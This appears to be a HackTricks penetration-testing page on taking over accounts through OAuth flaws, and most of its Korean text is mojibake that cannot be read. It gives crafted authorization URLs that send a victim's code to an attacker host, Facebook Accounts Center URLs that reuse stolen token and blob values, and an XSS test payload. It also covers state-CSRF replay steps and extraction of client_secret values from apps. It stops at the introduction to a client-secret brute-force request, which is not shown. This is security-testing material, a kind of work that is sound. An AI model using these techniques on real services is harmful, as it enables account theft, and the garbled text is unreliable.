OAuth๋ฅผ ํตํ Account takeover
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
OAuth๋ ๋ค์ํ ๋ฒ์ ์ ์ ๊ณตํ๋ฉฐ, ๊ธฐ๋ณธ์ ์ธ ์ ๋ณด๋ OAuth 2.0 documentation์์ ํ์ธํ ์ ์์ต๋๋ค. ์ด ๋ฌธ์๋ ์ฃผ๋ก ๋๋ฆฌ ์ฌ์ฉ๋๋ OAuth 2.0 authorization code grant type์ ์ค์ฌ์ผ๋ก ํ๋ฉฐ, ์ด๋ ์ด๋ค ์ ํ๋ฆฌ์ผ์ด์ ์ด ๋ค๋ฅธ ์ ํ๋ฆฌ์ผ์ด์ (authorization server)์ ์๋ ์ฌ์ฉ์์ ๊ณ์ ์ ์ ๊ทผํ๊ฑฐ๋ ํด๋น ๊ณ์ ์์ ๋์์ ์ํํ ์ ์๊ฒ ํด์ฃผ๋ ๊ถํ ๋ถ์ฌ ํ๋ ์์ํฌ๋ฅผ ์ ๊ณตํฉ๋๋ค.
๊ฐ๋ น ๋ชจ๋ ์์ ๋ฏธ๋์ด ๊ฒ์๋ฌผ(๋น๊ณต๊ฐ ํฌํจ)์ ๋ชจ๋ ๋ณด์ฌ์ฃผ๋ ๊ฒ์ ๋ชฉ์ ์ผ๋ก ํ๋ ๊ฐ์์ ์น์ฌ์ดํธ _https://example.com_์ ์๊ฐํด๋ณด์ญ์์ค. ์ด๋ฅผ ์ํด OAuth 2.0์ด ์ฌ์ฉ๋ฉ๋๋ค. _https://example.com_์ ๊ทํ์ social media posts์ ์ ๊ทผํ ๊ถํ์ ์์ฒญํ ๊ฒ์ ๋๋ค. ๊ทธ ๊ฒฐ๊ณผ๋ก _https://socialmedia.com_์์ ๋์ ํ๋ฉด์ด ํ์๋๋ฉฐ, ์ฌ๊ธฐ์๋ ์์ฒญ๋๋ ๊ถํ๊ณผ ๊ถํ์ ์์ฒญํ๋ ๊ฐ๋ฐ์๊ฐ ์์ฝ๋์ด ๋ํ๋ฉ๋๋ค. ๊ทํ๊ฐ ์น์ธํ๋ฉด _https://example.com_์ ๊ทํ๋ฅผ ๋์ ํ์ฌ ๊ฒ์๋ฌผ์ ์ ๊ทผํ ์ ์๋ ๊ถํ์ ์ป๊ฒ ๋ฉ๋๋ค.
OAuth 2.0 ํ๋ ์์ํฌ์์ ๋ค์ ๊ตฌ์ฑ ์์๋ค์ ์ดํดํ๋ ๊ฒ์ด ์ค์ํฉ๋๋ค:
- resource owner: ๋น์ , ์ฆ ์ฌ์ฉ์/์ํฐํฐ๋ ์์ ๋ฏธ๋์ด ๊ณ์ ์ ๊ฒ์๋ฌผ๊ณผ ๊ฐ์ ๋ฆฌ์์ค์ ๋ํ ์ ๊ทผ์ ์น์ธํฉ๋๋ค.
- resource server: ์ ํ๋ฆฌ์ผ์ด์
์ด
access token์ ํ๋ณดํ ํ ์ธ์ฆ๋ ์์ฒญ์ ์ฒ๋ฆฌํ๋ ์๋ฒ, ์: https://socialmedia.com. - client application:
resource owner๋ก๋ถํฐ ๊ถํ์ ์์ฒญํ๋ ์ ํ๋ฆฌ์ผ์ด์ , ์: https://example.com. - authorization server:
resource owner์ ์ธ์ฆ๊ณผ ๊ถํ ํ๋ณด๊ฐ ์๋ฃ๋ ํclient application์access tokens๋ฅผ ๋ฐํํ๋ ์๋ฒ, ์: https://socialmedia.com. - client_id: ์ ํ๋ฆฌ์ผ์ด์ ์ ๊ณต๊ฐ์ ์ด๊ณ ๊ณ ์ ํ ์๋ณ์.
- client_secret: ์ ํ๋ฆฌ์ผ์ด์
๊ณผ authorization server๋ง ์๋ ๋น๋ฐ ํค๋ก,
access_tokens์์ฑ์ ์ฌ์ฉ๋ฉ๋๋ค. - response_type: ์์ฒญํ๋ ํ ํฐ์ ์ ํ์ ์ง์ ํ๋ ๊ฐ, ์:
code. - scope:
client application์ดresource owner์๊ฒ ์์ฒญํ๋ ์ ๊ทผ ๊ถํ์ ์์ค. - redirect_uri: ์ฌ์ฉ์๊ฐ ๊ถํ ์น์ธ ํ ๋ฆฌ๋๋ ์ ๋๋ URL์ ๋๋ค. ์ผ๋ฐ์ ์ผ๋ก ์ฌ์ ์ ๋ฑ๋ก๋ redirect URL๊ณผ ์ผ์นํด์ผ ํฉ๋๋ค.
- state: ์ฌ์ฉ์๊ฐ authorization server๋ก ๋ฆฌ๋๋ ์ ๋ ๋์ ๋์์ฌ ๋ ์ฌ์ด์ ๋ฐ์ดํฐ๋ฅผ ์ ์งํ๊ธฐ ์ํ ํ๋ผ๋ฏธํฐ์ ๋๋ค. ๊ณ ์ ์ฑ์ด ์ค์ํ๋ฉฐ CSRF ๋ฐฉ์ด ๋ฉ์ปค๋์ฆ์ผ๋ก ์ฌ์ฉ๋ฉ๋๋ค.
- grant_type: ์ด๋ค grant ์ ํ๊ณผ ๋ฐํ๋ ํ ํฐ์ ์ ํ์ธ์ง ๋ํ๋ด๋ ํ๋ผ๋ฏธํฐ์ ๋๋ค.
- code: authorization server๋ก๋ถํฐ ๋ฐ์ ๊ถํ ์ฝ๋๋ก, client application์ด
client_id๋ฐclient_secret๊ณผ ํจ๊ป ์ฌ์ฉํ์ฌaccess_token์ ํ๋ํฉ๋๋ค. - access_token: client application์ด
resource owner๋ฅผ ๋์ ํ์ฌ API ์์ฒญ์ ์ฌ์ฉํ๋ ํ ํฐ์ ๋๋ค. - refresh_token: ์ฌ์ฉ์๋ฅผ ๋ค์ ๋ฌป์ง ์๊ณ ์๋ก์ด
access_token์ ์ป์ ์ ์๊ฒ ํด์ค๋๋ค.
ํ๋ฆ
์ค์ OAuth ํ๋ฆ์ ๋ค์๊ณผ ๊ฐ์ด ์งํ๋ฉ๋๋ค:
- ์ฌ์ฉ์๋ https://example.com์ ์ ์ํด โIntegrate with Social Mediaโ ๋ฒํผ์ ํด๋ฆญํฉ๋๋ค.
- ์ฌ์ดํธ๋ https://example.com์ ์ ํ๋ฆฌ์ผ์ด์ ์ด ๊ฒ์๋ฌผ์ ์ ๊ทผํ๋๋ก ํ๊ฐํด ๋ฌ๋ผ๋ ์์ฒญ์ https://socialmedia.com์ผ๋ก ๋ณด๋ ๋๋ค. ์์ฒญ์ ๋ค์๊ณผ ๊ฐ์ ๊ตฌ์กฐ์ ๋๋ค:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
- ๊ทธ๋ฌ๋ฉด ๋์ ํ์ด์ง๊ฐ ํ์๋ฉ๋๋ค.
- ์น์ธ์ ํ๋ฉด Social Media๊ฐ
redirect_uri๋กcode์stateํ๋ผ๋ฏธํฐ๋ฅผ ํฌํจํ ์๋ต์ ๋ณด๋ ๋๋ค:
https://example.com?code=uniqueCode123&state=randomString123
- https://example.com๋ ์ด
code๋ฅผclient_id๋ฐclient_secret๊ณผ ํจ๊ป ์ฌ์ฉํ์ฌ ์๋ฒ ์ธก ์์ฒญ์ ํตํด ์ฌ์ฉ์๋ฅผ ๋์ ํดaccess_token์ ํ๋ํ๊ณ , ์ฌ์ฉ์๊ฐ ๋์ํ ๊ถํ์ ์ ๊ทผํ ์ ์๊ฒ ํฉ๋๋ค:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
- ๋ง์ง๋ง์ผ๋ก, ํ๋ก์ธ์ค๋ https://example.com ์ด ๋น์ ์
access_token์ ์ฌ์ฉํด ์์ ๋ฏธ๋์ด API ํธ์ถ์ ํ์ฌ ์ ๊ทผํ๋ฉด์ ๋ง๋ฌด๋ฆฌ๋ฉ๋๋ค
Vulnerabilities
์ด๋ฆฐ redirect_uri
Per RFC 6749 ยง3.1.2, authorization server๋ ๋ธ๋ผ์ฐ์ ๋ฅผ ์ค์ง ์ฌ์ ์ ๋ฑ๋ก๋, ์ ํํ redirect URIs๋ก๋ง ๋ฆฌ๋ค์ด๋ ํธํด์ผ ํฉ๋๋ค. ์ฌ๊ธฐ์ ์ทจ์ฝ์ ์ด ์์ผ๋ฉด ๊ณต๊ฒฉ์๋ ์
์์ ์ธ authorization URL์ ํตํด ํผํด์๋ฅผ ์ ๋ํ์ฌ IdP๊ฐ ํผํด์์ code(๋ฐ state)๋ฅผ ๊ทธ๋๋ก ๊ณต๊ฒฉ์ ์๋ํฌ์ธํธ๋ก ์ ๋ฌํ๊ฒ ๋ง๋ค๊ณ , ๊ณต๊ฒฉ์๋ ์ด๋ฅผ ๊ตํํด ํ ํฐ์ ํ์ทจํ ์ ์์ต๋๋ค.
์ผ๋ฐ์ ์ธ ๊ณต๊ฒฉ ํ๋ฆ:
https://idp.example/auth?...&redirect_uri=https://attacker.tld/callback๋ฅผ craftํ์ฌ ํผํด์์๊ฒ ๋ณด๋ ๋๋ค.- ํผํด์๊ฐ ์ธ์ฆํ๊ณ scopes๋ฅผ ์น์ธํฉ๋๋ค.
- IdP๊ฐ
attacker.tld/callback?code=<victim-code>&state=...๋ก ๋ฆฌ๋ค์ด๋ ํธํ๋ฉด ๊ณต๊ฒฉ์๋ ์์ฒญ์ ๋ก๊น ํ๊ณ ์ฆ์ code๋ฅผ ๊ตํํฉ๋๋ค.
๊ฒ์ฌํ ๋งํ ์ผ๋ฐ์ ์ธ ์ ํจ์ฑ ๊ฒ์ฌ ๋ฒ๊ทธ:
- ๊ฒ์ฆ ์์ โ ์ด๋ค ์ ๋ URL๋ ํ์ฉ๋์ด ์ฆ์ code ํ์ทจ๊ฐ ๋ฐ์ํฉ๋๋ค.
- ํธ์คํธ์ ๋ํ ์ฝํ ๋ถ๋ถ ๋ฌธ์์ด/์ ๊ท์ ๊ฒ์ฌ โ
evilmatch.com,match.com.evil.com,match.com.mx,matchAmatch.com,evil.com#match.com, ๋๋match.com@evil.com๊ฐ์ lookalike๋ก ์ฐํํ ์ ์์ต๋๋ค. - IDN homograph ๋ถ์ผ์น โ ๊ฒ์ฆ์ punycode ํํ(
xn--)๋ก ์ด๋ฃจ์ด์ง์ง๋ง ๋ธ๋ผ์ฐ์ ๋ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ์ ๋์ฝ๋ ๋๋ฉ์ธ์ผ๋ก ๋ฆฌ๋ค์ด๋ ํธํฉ๋๋ค. - ํ์ฉ๋ ํธ์คํธ์ ์์ ๊ฒฝ๋ก โ
redirect_uri๋ฅผ/openredirect?next=https://attacker.tld๋๋ ์ด๋ค XSS/์ฌ์ฉ์ ์ฝํ ์ธ ์๋ํฌ์ธํธ๋ก ์ง์ ํ๋ฉด ์ฒด์ธ๋ ๋ฆฌ๋ค์ด๋ ํธ, Referer ํค๋, ๋๋ ์ฃผ์ ๋ JavaScript๋ฅผ ํตํด code๊ฐ ์ ์ถ๋ฉ๋๋ค. - ์ ๊ทํ ์์ด ๋๋ ํ ๋ฆฌ ์ ์ฝ โ
/oauth/*๊ฐ์ ํจํด์/oauth/../anything๋ก ์ฐํ๋ ์ ์์ต๋๋ค. - ์์ผ๋์นด๋ ์๋ธ๋๋ฉ์ธ โ
*.example.com์ ํ์ฉํ๋ฉด ์ด๋ค takeover(๋ ์๋ DNS, S3 ๋ฒํท ๋ฑ)๋ ์ฆ์ ์ ํจํ callback์ด ๋ฉ๋๋ค. - ๋น-HTTPS ์ฝ๋ฐฑ โ
http://URI๋ฅผ ํ์ฉํ๋ฉด ๋คํธ์ํฌ ๊ณต๊ฒฉ์(WiโFi, ๊ธฐ์ ํ๋ก์ ๋ฑ)๊ฐ ์ ์ก ์ค์ code๋ฅผ ๊ฐ๋ก์ฑ ๊ธฐํ๋ฅผ ์ป์ต๋๋ค.
๋ํ ๋ณด์กฐ์ ์ธ redirect ์คํ์ผ ๋งค๊ฐ๋ณ์๋ค(client_uri, policy_uri, tos_uri, initiate_login_uri ๋ฑ)๊ณผ OpenID discovery document (/.well-known/openid-configuration)๋ฅผ ๊ฒํ ํ์ฌ ๋์ผํ ๊ฒ์ฆ ๋ฒ๊ทธ๋ฅผ ์ด์ด๋ฐ์ ์ ์๋ ์ถ๊ฐ ์๋ํฌ์ธํธ๊ฐ ์๋์ง ํ์ธํ์ธ์.
Redirect token ์ ์ถ on allowlisted domains with attacker-controlled subpaths
redirect_uri๋ฅผ โ์์ /ํผ์คํธํํฐ ๋๋ฉ์ธโ์ผ๋ก ๊ณ ์ ํด๋, ์ด๋ค allowlisted ๋๋ฉ์ธ์ด๋ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ๊ฒฝ๋ก๋ ์คํ ์ปจํ
์คํธ(๋ ๊ฑฐ์ ์ฑ ํ๋ซํผ, ์ฌ์ฉ์ ๋ค์์คํ์ด์ค, CMS ์
๋ก๋ ๋ฑ)๋ฅผ ๋
ธ์ถํ๋ฉด ๋์์ด ๋์ง ์์ต๋๋ค. OAuth/์ฐ๋ ๋ก๊ทธ์ธ ํ๋ฆ์ด URL์ ํ ํฐ์ ๋ฐํํ๋ ๊ฒฝ์ฐ(์ฟผ๋ฆฌ ๋๋ ํด์), ๊ณต๊ฒฉ์๋ ๋ค์์ ํ ์ ์์ต๋๋ค:
- ์ ํจํ ํ๋ฆ์ ์์ํด ํ๋ฆฌ-ํ ํฐ์ ๋ฐ๊ธ๋ฐ์ต๋๋ค(์: multi-step Accounts Center/FXAuth ํ๋ฆ์์์
etoken). - ํผํด์์๊ฒ allowlisted ๋๋ฉ์ธ์
redirect_uri/base_uri๋ก ์ค์ ํ๋next/๊ฒฝ๋ก๋ฅผ ๊ณต๊ฒฉ์ ์ ์ด ๋ค์์คํ์ด์ค๋ก ๊ฐ๋ฆฌํค๋ authorization URL์ ๋ณด๋ ๋๋ค(์:https://apps.facebook.com/<attacker_app>). - ํผํด์๊ฐ ์น์ธํ๋ฉด IdP๋ ๋ฏผ๊ฐํ ๊ฐ๋ค(
token,blob, codes ๋ฑ)์ URL์ ํฌํจํด ๊ณต๊ฒฉ์ ์ ์ด ๊ฒฝ๋ก๋ก ๋ฆฌ๋ค์ด๋ ํธํฉ๋๋ค. - ํด๋น ํ์ด์ง์ JavaScript๊ฐ
window.location์ ์ฝ์ด ๊ฐ์ ์ธ๋ถ๋ก exfiltrateํฉ๋๋ค โ ๋๋ฉ์ธ์ด โ์ ๋ขฐ๋โ ๊ฒ์ผ๋ก ๋ณด์ด๋๋ผ๋ ๊ฐ๋ฅํฉ๋๋ค. - ํฌ์ฐฉํ ๊ฐ์ downstream์ ๊ถํ ์๋ ์๋ํฌ์ธํธ์ ๋ํด ์ฌ์ฌ์ฉํ์ฌ, ๋ฆฌ๋ค์ด๋ ํธ๋ก ์ ๋ฌ๋ ํ ํฐ๋ง ๊ธฐ๋ํ๋ ๊ณณ์ ์ ์ฉํฉ๋๋ค. FXAuth ํ๋ฆ์ ์:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>
# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>
๋ฆฌ๋๋ ํธ ๊ตฌํ์์์ XSS
์ด bug bounty report https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html์์ ์ธ๊ธํ ๋ฐ์ ๊ฐ์ด, ์ฌ์ฉ์๊ฐ ์ธ์ฆํ ํ ์๋ฒ์ ์๋ต์ ๋ฆฌ๋๋ ํธ URL์ด ๋ฐ์ฌ๋์ด XSS์ ์ทจ์ฝํ ์ ์์ต๋๋ค. ํ ์คํธํ ์ ์๋ payload:
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
CSRF - state parameter์ ๋ถ์ ์ ํ ์ฒ๋ฆฌ
The state parameter is the Authorization Code flow CSRF token: the client must generate a cryptographically random value per browser instance, persist it somewhere only that browser can read (cookie, local storage, etc.), send it in the authorization request, and reject any response that does not return the same value. Whenever the value is static, predictable, optional, or not tied to the userโs session, the attacker can finish their own OAuth flow, capture the final ?code= request (without sending it), and later coerce a victim browser into replaying that request so the victim account becomes linked to the attackerโs identity provider profile.
state ํ๋ผ๋ฏธํฐ๋ Authorization Code ํ๋ฆ์ CSRF ํ ํฐ์
๋๋ค: ํด๋ผ์ด์ธํธ๋ ๋ธ๋ผ์ฐ์ ์ธ์คํด์ค๋ณ๋ก ์ํธํ์ ์ผ๋ก ๋๋คํ ๊ฐ์ ์์ฑํ๊ณ ๊ทธ ๋ธ๋ผ์ฐ์ ๋ง ์ฝ์ ์ ์๋ ์์น(์ฟ ํค, local storage ๋ฑ)์ ์ ์ฅํ ๋ค, ์ธ๊ฐ ์์ฒญ์ ํฌํจ์ํค๊ณ ๋์ผํ ๊ฐ์ ๋ฐํํ์ง ์๋ ์๋ต์ ๊ฑฐ๋ถํด์ผ ํฉ๋๋ค. ๊ฐ์ด ์ ์ ์ด๊ฑฐ๋ ์์ธก ๊ฐ๋ฅํ๊ฑฐ๋ ์ ํ์ ์ด๊ฑฐ๋ ์ฌ์ฉ์์ ์ธ์
์ ๋ฌถ์ฌ ์์ง ์์ผ๋ฉด, ๊ณต๊ฒฉ์๋ ์์ ์ OAuth ํ๋ฆ์ ์๋ฃํ๊ณ ์ต์ข
?code= ์์ฒญ์ ์บก์ฒ(์ ์กํ์ง ์๊ณ )ํ ๋ค ํผํด์์ ๋ธ๋ผ์ฐ์ ๊ฐ ํด๋น ์์ฒญ์ ์ฌ์ํ๋๋ก ๊ฐ์ ํ์ฌ ํผํด์ ๊ณ์ ์ด ๊ณต๊ฒฉ์์ IdP ํ๋กํ์ ์ฐ๊ฒฐ๋๊ฒ ๋ง๋ค ์ ์์ต๋๋ค.
The replay pattern is always the same:
- The attacker authenticates against the IdP with their account and intercepts the last redirect containing
code(and anystate). - They drop that request, keep the URL, and later abuse any CSRF primitive (link, iframe, auto-submitting form) to force the victim browser to load it.
- If the client does not enforce
state, the application consumes the attackerโs authorization result and logs the attacker into the victimโs app account.
์ฌ์ ๊ณต๊ฒฉ ํจํด์ ํญ์ ๋์ผํฉ๋๋ค:
- ๊ณต๊ฒฉ์๋ ์์ ์ ๊ณ์ ์ผ๋ก IdP์ ์ธ์ฆํ ๋ค
code(๋ฐstate)๋ฅผ ํฌํจํ ๋ง์ง๋ง ๋ฆฌ๋ค์ด๋ ํธ๋ฅผ ๊ฐ๋ก์ฑ๋๋ค. - ๊ทธ ์์ฒญ์ ์ ์กํ์ง ์๊ณ URL์ ๋ณด๊ดํ ๋ค, ๋งํฌยทiframeยท์๋ ์ ์ถ ํผ ๊ฐ์ CSRF ์์ ๊ธฐ๋ฒ์ ์ด์ฉํด ๋์ค์ ํผํด์์ ๋ธ๋ผ์ฐ์ ๊ฐ ํด๋น URL์ ๋ก๋ํ๋๋ก ๊ฐ์ ํฉ๋๋ค.
- ํด๋ผ์ด์ธํธ๊ฐ
state๋ฅผ ๊ฐ์ ํ์ง ์์ผ๋ฉด ์ ํ๋ฆฌ์ผ์ด์ ์ ๊ณต๊ฒฉ์์ ์ธ๊ฐ ๊ฒฐ๊ณผ๋ฅผ ์์ฉํ์ฌ ๊ณต๊ฒฉ์๋ฅผ ํผํด์์ ์ฑ ๊ณ์ ์ผ๋ก ๋ก๊ทธ์ธ์ํต๋๋ค.
A practical checklist for state handling during tests:
- Missing
stateentirely โ if the parameter never appears, the whole login is CSRFable. statenot required โ remove it from the initial request; if the IdP still issues codes that the client accepts, the defense is opt-in.- Returned
statenot validated โ tamper with the value in the response (Burp, MITM proxy). Accepting mismatched values means the stored token is never compared. - Predictable or purely data-driven
stateโ many apps stuff redirect paths or JSON blobs intostatewithout mixing in randomness, letting attackers guess valid values and replay flows. Always prepend/append strong entropy before encoding data. statefixation โ if the app lets users supply thestatevalue (e.g., via crafted authorization URLs) and reuses it throughout the flow, an attacker can lock in a known value and reuse it across victims.
ํ
์คํธ ์ค state ์ฒ๋ฆฌ์ ๋ํ ์ค๋ฌด ์ ๊ฒ ๋ชฉ๋ก:
- Missing
stateentirely โ ํ๋ผ๋ฏธํฐ๊ฐ ์ ํ ๋ํ๋์ง ์์ผ๋ฉด ์ ์ฒด ๋ก๊ทธ์ธ ํ๋ฆ์ด CSRF์ ์ทจ์ฝํฉ๋๋ค. statenot required โ ์ด๊ธฐ ์์ฒญ์์state๋ฅผ ์ ๊ฑฐํด๋ณด์ธ์. IdP๊ฐ ์ฌ์ ํ ์ฝ๋๋ฅผ ๋ฐ๊ธํ๊ณ ํด๋ผ์ด์ธํธ๊ฐ ์ด๋ฅผ ์๋ฝํ๋ฉด ๋ฐฉ์ด๊ฐ ์ตํธ์ธ ๋ฐฉ์์ ๋๋ค.- Returned
statenot validated โ ์๋ต์ ๊ฐ์ ๋ณ์กฐํด๋ณด์ธ์ (Burp, MITM proxy). ๋ถ์ผ์น ๊ฐ์ ์์ฉํ๋ค๋ฉด ์ ์ฅ๋ ํ ํฐ์ด ์ ํ ๋น๊ต๋์ง ์๋ ๊ฒ์ ๋๋ค. - Predictable or purely data-driven
stateโ ๋ง์ ์ ํ๋ฆฌ์ผ์ด์ ์ด ๋๋ค์ฑ์ ์์ง ์๊ณ ๋ฆฌ๋ค์ด๋ ํธ ๊ฒฝ๋ก๋ JSON ๋ธ๋กญ์state์ ๋ฃ์ด ๊ณต๊ฒฉ์๊ฐ ์ ํจ ๊ฐ์ ์ถ์ธกํด ํ๋ฆ์ ์ฌ์ํ ์ ์์ต๋๋ค. ๋ฐ์ดํฐ๋ฅผ ์ธ์ฝ๋ฉํ๊ธฐ ์ ์ ํญ์ ๊ฐํ ์ํธ๋กํผ๋ฅผ ์๋ค์ ์ถ๊ฐํ์ธ์. statefixation โ ์ฑ์ด ์ฌ์ฉ์๊ฐstate๊ฐ์ ์ ๊ณตํ๋๋ก ํ์ฉ(์: ์กฐ์๋ ์ธ๊ฐ URL์ ํตํด)ํ๊ณ ํ๋ฆ ์ ์ฒด์์ ์ด๋ฅผ ์ฌ์ฌ์ฉํ๋ฉด ๊ณต๊ฒฉ์๋ ์๋ ค์ง ๊ฐ์ ๊ณ ์ ์์ผ ์ฌ๋ฌ ํผํด์์๊ฒ ์ฌ์ฌ์ฉํ ์ ์์ต๋๋ค.
PKCE can complement state (especially for public clients) by binding the authorization code to a code verifier, but web clients must still track state to prevent cross-user CSRF/account-linking bugs.
PKCE๋ ์ธ๊ฐ ์ฝ๋๋ฅผ code verifier์ ๋ฐ์ธ๋ฉํ์ฌ state๋ฅผ ๋ณด์ํ ์ ์์ต๋๋ค(ํนํ public clients์์). ํ์ง๋ง ์น ํด๋ผ์ด์ธํธ๋ ์ฌ์ ํ cross-user CSRF/๊ณ์ ์ฐ๊ฒฐ ๋ฒ๊ทธ๋ฅผ ๋ฐฉ์งํ๊ธฐ ์ํด state๋ฅผ ์ถ์ ํด์ผ ํฉ๋๋ค.
Pre Account Takeover
- Without Email Verification on Account Creation: Attackers can preemptively create an account using the victimโs email. If the victim later uses a third-party service for login, the application might inadvertently link this third-party account to the attackerโs pre-created account, leading to unauthorized access.
- Exploiting Lax OAuth Email Verification: Attackers may exploit OAuth services that donโt verify emails by registering with their service and then changing the account email to the victimโs. This method similarly risks unauthorized account access, akin to the first scenario but through a different attack vector.
์ฌ์ ๊ณ์ ํ์ทจ
- ๊ณ์ ์์ฑ ์ ์ด๋ฉ์ผ ๊ฒ์ฆ ์์: ๊ณต๊ฒฉ์๋ ํผํด์์ ์ด๋ฉ์ผ์ ์ฌ์ฉํด ๋ฏธ๋ฆฌ ๊ณ์ ์ ์์ฑํ ์ ์์ต๋๋ค. ์ดํ ํผํด์๊ฐ ํ์ฌ ์๋น์ค๋ฅผ ํตํด ๋ก๊ทธ์ธํ๋ฉด ์ ํ๋ฆฌ์ผ์ด์ ์ด ์๋์น ์๊ฒ ํด๋น ํ์ฌ ๊ณ์ ์ ๊ณต๊ฒฉ์๊ฐ ๋ฏธ๋ฆฌ ๋ง๋ ๊ณ์ ์ ์ฐ๊ฒฐํ์ฌ ๋ฌด๋จ ์ ๊ทผ์ ํ์ฉํ ์ ์์ต๋๋ค.
- ๋์จํ OAuth ์ด๋ฉ์ผ ๊ฒ์ฆ ์ ์ฉ: ์ด๋ฉ์ผ์ ๊ฒ์ฆํ์ง ์๋ OAuth ์๋น์ค๋ฅผ ์ ์ฉํด ๊ณต๊ฒฉ์๊ฐ ํด๋น ์๋น์ค์ ๊ฐ์ ํ ๋ค ๊ณ์ ์ด๋ฉ์ผ์ ํผํด์์ ๊ฒ์ผ๋ก ๋ณ๊ฒฝํ ์ ์์ต๋๋ค. ์ด ๋ฐฉ๋ฒ ์ญ์ ์ฒซ ๋ฒ์งธ ์๋๋ฆฌ์ค์ ๋ง์ฐฌ๊ฐ์ง๋ก ๋ฌด๋จ ๊ณ์ ์ ๊ทผ ์ํ์ ์ด๋ํฉ๋๋ค.
Disclosure of Secrets
The client_id is intentionally public, but the client_secret must never be recoverable by end users. Authorization Code deployments that embed the secret in mobile APKs, desktop clients, or single-page apps effectively hand that credential to anyone who can download the package. Always inspect public clients by:
- Unpacking the APK/IPA, desktop installer, or Electron app and grepping for
client_secret, Base64 blobs that decode to JSON, or hard-coded OAuth endpoints. - Reviewing bundled config files (plist, JSON, XML) or decompiled strings for client credentials.
Once the attacker extracts the secret they only need to steal any victim authorization code (via a weak redirect_uri, logs, etc.) to independently hit /token and mint access/refresh tokens without involving the legitimate app. Treat public/native clients as incapable of holding secretsโthey should instead rely on PKCE (RFC 7636) to prove possession of a per-instance code verifier instead of a static secret. During testing, confirm whether PKCE is mandatory and whether the backend actually rejects token exchanges that omit either the client_secret or a valid code_verifier.
๋น๋ฐ ์ ๋ณด ๋ ธ์ถ
client_id๋ ์๋์ ์ผ๋ก ๊ณต๊ฐ๋์ง๋ง, client_secret์ ์ต์ข
์ฌ์ฉ์์๊ฒ ์ ๋ ๋ณต๊ตฌ๋์ด์๋ ์ ๋ฉ๋๋ค. Authorization Code ๋ฐฐํฌ์์ ๋น๋ฐ์ mobile APKs, desktop clients, or single-page apps์ ํฌํจ์ํค๋ ๊ฒฝ์ฐ, ํจํค์ง๋ฅผ ๋ค์ด๋ก๋ํ ์ ์๋ ๋๊ตฌ์๊ฒ๋ ํด๋น ์๊ฒฉ ์ฆ๋ช
์ ๋๊ฒจ์ฃผ๋ ๊ฒฐ๊ณผ๊ฐ ๋ฉ๋๋ค. ๊ณต๊ฐ ํด๋ผ์ด์ธํธ๋ฅผ ๊ฒ์ฌํ ๋๋ ํญ์ ๋ค์์ ์ํํ์ธ์:
- APK/IPA, ๋ฐ์คํฌํ ์ค์น ํ๋ก๊ทธ๋จ ๋๋ Electron ์ฑ์ ์ธํฉํ๊ณ
client_secret, JSON์ผ๋ก ๋์ฝ๋ฉ๋๋ Base64 ๋ธ๋กญ, ๋๋ ํ๋์ฝ๋ฉ๋ OAuth ์๋ํฌ์ธํธ๋ฅผ ๊ฒ์ํ์ธ์. - ๋ฒ๋ค๋ ์ค์ ํ์ผ(plist, JSON, XML)์ด๋ ๋์ปดํ์ผ๋ ๋ฌธ์์ด์์ ํด๋ผ์ด์ธํธ ์๊ฒฉ์ฆ๋ช ์ ๊ฒํ ํ์ธ์.
๊ณต๊ฒฉ์๊ฐ ๋น๋ฐ์ ์ถ์ถํ๋ฉด ์ฝํ redirect_uri, ๋ก๊ทธ ๋ฑ์ผ๋ก๋ถํฐ ํผํด์์ ์ธ๊ฐ code๋ง ํ์ทจํ๋ฉด /token์ ๋
๋ฆฝ์ ์ผ๋ก ์ ๊ทผํด access/refresh ํ ํฐ์ ๋ฐ๊ธ๋ฐ์ ์ ์์ด ์ ๋นํ ์ฑ์ ๊ฑฐ์น ํ์๊ฐ ์์ต๋๋ค. ๊ณต๊ฐ/๋ค์ดํฐ๋ธ ํด๋ผ์ด์ธํธ๋ ๋น๋ฐ์ ๋ณด๊ดํ ์ ์๋ ๊ฒ์ผ๋ก ๊ฐ์ฃผํ๊ณ , ์ ์ ๋น๋ฐ ๋์ per-instance code verifier์ ์์ ๋ฅผ ์ฆ๋ช
ํ๋ PKCE(RFC 7636)์ ์์กดํด์ผ ํฉ๋๋ค. ํ
์คํธ ์ PKCE๊ฐ ํ์์ธ์ง, ๋ฐฑ์๋๊ฐ client_secret ๋๋ ์ ํจํ code_verifier๊ฐ ์๋ ํ ํฐ ๊ตํ์ ์ค์ ๋ก ๊ฑฐ๋ถํ๋์ง ํ์ธํ์ธ์.
Client Secret Bruteforce
You can try to bruteforce the client_secret of a service provider with the identity provider in order to be try to steal accounts.
The request to BF may look similar to:
